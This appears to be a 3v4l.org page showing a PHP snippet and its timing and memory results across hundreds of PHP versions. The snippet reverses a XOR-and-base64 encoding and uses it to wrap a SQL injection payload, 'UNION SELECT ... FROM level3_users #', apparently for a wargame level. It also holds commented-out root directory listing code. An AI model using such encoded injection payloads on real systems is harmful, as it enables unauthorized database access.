3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin UNION SELECT 1,2,3,4 FROM level3_users #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.00818.68
8.3.50.0080.00722.05
8.3.40.0070.00719.05
8.3.30.0110.00420.36
8.3.20.0090.00620.24
8.3.10.0040.00421.92
8.3.00.0050.00322.39
8.2.180.0120.00316.88
8.2.170.0100.01022.96
8.2.160.0070.00722.29
8.2.150.0030.00524.18
8.2.140.0060.00324.66
8.2.130.0080.00026.16
8.2.120.0000.00820.93
8.2.110.0030.00722.27
8.2.100.0110.00018.02
8.2.90.0090.00019.30
8.2.80.0080.00017.97
8.2.70.0000.00817.88
8.2.60.0000.00818.04
8.2.50.0030.00518.07
8.2.40.0040.00420.07
8.2.30.0000.00719.55
8.2.20.0050.00317.91
8.2.10.0080.00017.86
8.2.00.0040.00417.85
8.1.280.0150.00325.92
8.1.270.0040.00423.99
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00322.24
8.1.230.0080.00417.76
8.1.220.0030.00517.74
8.1.210.0000.00818.77
8.1.200.0000.01017.60
8.1.190.0030.00617.64
8.1.180.0060.00319.13
8.1.170.0040.00418.78
8.1.160.0050.00320.57
8.1.150.0040.00418.93
8.1.140.0000.00817.71
8.1.130.0060.00317.88
8.1.120.0040.00417.55
8.1.110.0000.00717.54
8.1.100.0040.00417.67
8.1.90.0000.01017.65
8.1.80.0040.00417.57
8.1.70.0040.00417.61
8.1.60.0030.00517.80
8.1.50.0050.00317.75
8.1.40.0030.00517.70
8.1.30.0040.00417.85
8.1.20.0000.00817.84
8.1.10.0080.00017.67
8.1.00.0100.00017.68
8.0.300.0000.00718.77
8.0.290.0030.00617.00
8.0.280.0030.00518.35
8.0.270.0050.00217.31
8.0.260.0000.00716.99
8.0.250.0000.00817.13
8.0.240.0050.00317.10
8.0.230.0080.00017.09
8.0.220.0030.00317.12
8.0.210.0030.00517.11
8.0.200.0000.00817.02
8.0.190.0040.00417.15
8.0.180.0000.00917.08
8.0.170.0030.00517.07
8.0.160.0030.00517.02
8.0.150.0000.00716.96
8.0.140.0070.00017.02
8.0.130.0000.00513.50
8.0.120.0000.00816.95
8.0.110.0030.00517.07
8.0.100.0000.00717.18
8.0.90.0040.00417.05
8.0.80.0060.01317.11
8.0.70.0050.00316.94
8.0.60.0050.00317.13
8.0.50.0050.00317.11
8.0.30.0130.00617.47
8.0.20.0090.00917.40
8.0.10.0040.00417.11
8.0.00.0080.01217.09
7.4.330.0000.00515.09
7.4.320.0030.00316.65
7.4.300.0000.00616.84
7.4.290.0040.00416.80
7.4.280.0040.00416.73
7.4.270.0000.00716.76
7.4.260.0030.00313.52
7.4.250.0050.00316.73
7.4.240.0050.00316.78
7.4.230.0000.00716.85
7.4.220.0090.01316.75
7.4.210.0060.01016.82
7.4.200.0040.00416.83
7.4.190.0070.00016.61
7.4.160.0090.00916.72
7.4.150.0150.00317.40
7.4.140.0110.00617.86
7.4.130.0080.01016.86
7.4.120.0100.01116.70
7.4.110.0150.00316.60
7.4.100.0040.01616.88
7.4.90.0090.00816.88
7.4.80.0070.01119.39
7.4.70.0160.00016.69
7.4.60.0000.01716.81
7.4.50.0000.00916.67
7.4.40.0090.00622.77
7.4.30.0130.01016.80
7.4.00.0070.00715.13
7.3.330.0030.00313.55
7.3.320.0030.00313.38
7.3.310.0030.00516.44
7.3.300.0050.00316.46
7.3.290.0030.01016.53
7.3.280.0070.00816.49
7.3.270.0000.01817.40
7.3.260.0090.00916.57
7.3.250.0120.01016.86
7.3.240.0110.00616.68
7.3.230.0030.01516.70
7.3.210.0100.01416.90
7.3.200.0060.01019.39
7.3.190.0070.01016.82
7.3.180.0090.01216.61
7.3.170.0110.00616.82
7.3.160.0120.00616.67
7.3.120.0100.00615.27
7.2.330.0030.01716.87
7.2.320.0110.00616.95
7.2.310.0190.00016.83
7.2.300.0110.00616.75
7.2.290.0030.01416.91
7.2.00.0060.00919.76
7.1.100.0040.00818.53
7.1.70.0040.00417.44
7.1.60.0110.01519.32
7.1.50.0040.01117.18
7.1.00.0070.06322.33
7.0.200.0030.00516.93
7.0.140.0000.07722.18
7.0.60.0030.07321.59
7.0.50.0070.08017.91
7.0.40.0070.04320.12
7.0.30.0200.05720.28
7.0.20.0270.08020.27
7.0.10.0070.04020.35
7.0.00.0100.08020.07
5.6.280.0030.07320.91
5.6.210.0070.05320.75
5.6.200.0000.05018.19
5.6.190.0030.08720.34
5.6.180.0430.05020.52
5.6.170.0300.08320.52
5.6.160.0100.04720.56
5.6.150.0030.08718.29
5.6.140.0030.06018.21
5.6.130.0100.08718.18
5.6.120.0170.05721.02
5.6.110.0070.04721.03
5.6.100.0130.08021.03
5.6.90.0130.06721.11
5.6.80.0170.05720.38
5.5.350.4230.04020.43
5.5.340.0030.04317.97
5.5.330.0070.08720.31
5.5.320.0370.03020.30
5.5.310.0330.08020.31
5.5.300.0130.07318.01
5.5.290.0000.04717.97
5.5.280.0070.08320.75
5.5.270.0070.08320.90
5.5.260.0170.07720.88
5.5.250.0130.04720.59
5.5.240.0070.02720.27
5.4.450.4000.03319.45
5.4.440.3800.04719.27
5.4.430.3530.04019.36
5.4.420.4170.04319.57
5.4.410.3500.04019.46
5.4.400.4530.03718.99
5.4.390.3800.03719.05
5.4.380.3870.03019.13
5.4.370.4970.03718.93
5.4.360.4630.03719.24
5.4.350.4070.04319.11
5.4.340.3770.03319.23
5.4.320.3470.03719.22
5.4.310.3670.03718.97
5.4.300.4630.04319.04
5.4.290.4700.03719.04
5.4.280.3700.03719.06
5.4.270.4100.03319.22
5.4.260.4000.03319.21
5.4.250.3970.03019.00
5.4.240.3670.04319.10
5.4.230.3770.03319.05
5.4.220.3470.03319.04
5.4.210.3470.03719.14
5.4.200.3270.03019.26
5.4.190.3830.04319.12
5.4.180.3070.03318.98
5.4.170.3470.03718.99
5.4.160.4230.03319.21
5.4.150.4100.03718.91
5.4.140.4630.03716.53
5.4.130.4500.04316.40
5.4.120.4630.03716.50
5.4.110.0030.07016.60
5.4.100.2400.05716.54
5.4.90.4500.03316.30
5.4.80.3830.03716.67
5.4.70.3830.03716.51
5.4.60.4570.02716.42
5.4.50.4700.03016.32
5.4.40.4300.04016.42
5.4.30.4230.04016.41
5.4.20.4470.03016.45
5.4.10.0870.04316.43
5.4.00.0100.06315.93
5.3.290.3530.04014.68
5.3.280.2530.04314.52
5.3.270.3530.04714.54
5.3.260.3230.03014.64
5.3.250.4500.03314.50
5.3.240.4270.03314.62
5.3.230.4570.03714.63
5.3.220.3930.03314.71
5.3.210.0000.04714.71
5.3.200.0100.07014.62
5.3.190.4370.03014.57
5.3.180.3730.02714.71
5.3.170.3770.03314.57
5.3.160.4770.03714.62
5.3.150.4670.03014.58
5.3.140.3900.04014.45
5.3.130.4600.04014.63
5.3.120.4270.03014.71
5.3.110.4500.04014.55
5.3.100.0030.06014.20
5.3.90.1800.06014.18
5.3.80.4500.04013.99
5.3.70.4170.03014.08
5.3.60.4030.03314.02
5.3.50.4000.03314.01
5.3.40.4200.03713.96
5.3.30.3800.03013.94
5.3.20.4000.04013.70
5.3.10.3430.04013.82
5.3.00.3900.03313.59
5.2.170.3230.03011.23
5.2.160.3270.03011.16
5.2.150.3230.02711.08
5.2.140.3300.03011.14
5.2.130.3400.02711.06
5.2.120.2930.03311.27
5.2.110.3100.03011.15
5.2.100.3370.03011.07
5.2.90.3370.03311.17
5.2.80.3030.02011.26
5.2.70.3070.03011.11
5.2.60.3300.02711.02
5.2.50.2900.03710.97
5.2.40.2600.03311.07
5.2.30.2730.03010.91
5.2.20.2430.03010.99
5.2.10.2430.02310.87
5.2.00.2570.02710.80
5.1.60.2400.0209.91
5.1.50.2500.0279.91
5.1.40.2430.02310.01
5.1.30.2500.02310.39
5.1.20.2530.02710.36
5.1.10.2630.02710.23
5.1.00.3070.02310.08
5.0.50.1830.0238.71
5.0.40.1630.0208.43
5.0.30.1670.0308.31
5.0.20.1570.0208.18
5.0.10.1770.0238.21
5.0.00.1530.0308.18
4.4.90.1430.0136.05
4.4.80.1200.0136.05
4.4.70.1430.0176.05
4.4.60.1200.0206.05
4.4.50.1230.0136.05
4.4.40.1200.0206.05
4.4.30.1270.0136.05
4.4.20.1400.0136.05
4.4.10.1530.0176.05
4.4.00.1430.0236.05
4.3.110.1400.0176.05
4.3.100.1570.0136.05
4.3.90.1830.0176.05
4.3.80.1530.0236.05
4.3.70.1570.0176.05
4.3.60.1300.0176.05
4.3.50.1630.0136.05
4.3.40.1200.0236.05
4.3.30.0770.0236.05
4.3.20.0800.0206.05
4.3.10.0830.0236.05
4.3.00.0730.0176.05

preferences:
33.08 ms | 401 KiB | 5 Q